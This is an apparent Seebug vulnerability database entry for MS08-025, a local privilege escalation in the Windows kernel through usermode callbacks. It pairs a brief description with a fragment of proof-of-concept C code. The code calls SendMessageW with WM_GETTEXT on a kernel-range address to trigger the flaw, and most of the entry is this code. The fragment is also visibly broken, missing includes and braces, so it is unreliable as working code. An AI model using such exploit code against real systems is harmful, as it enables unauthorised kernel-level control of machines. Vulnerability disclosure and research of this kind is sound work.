Microsoft Windows XP/VISTA/2000/2003/2008 - Kernel Usermode Callback Local Privilege Escalation Vulnerability (1)

ID SSV:84907
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


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Microsoft Windows is prone to a local privilege-escalation vulnerability.

The vulnerability resides in the Windows kernel. A locally logged-in user can exploit this issue to gain kernel-level access to the operating system.


int main(int argc,char *argv[])
    DWORD    dwHookAddress = 0x80000000;

    printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
        printf( "Create by Whitecell's 2008/04/10\n" );

    SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
    return 0;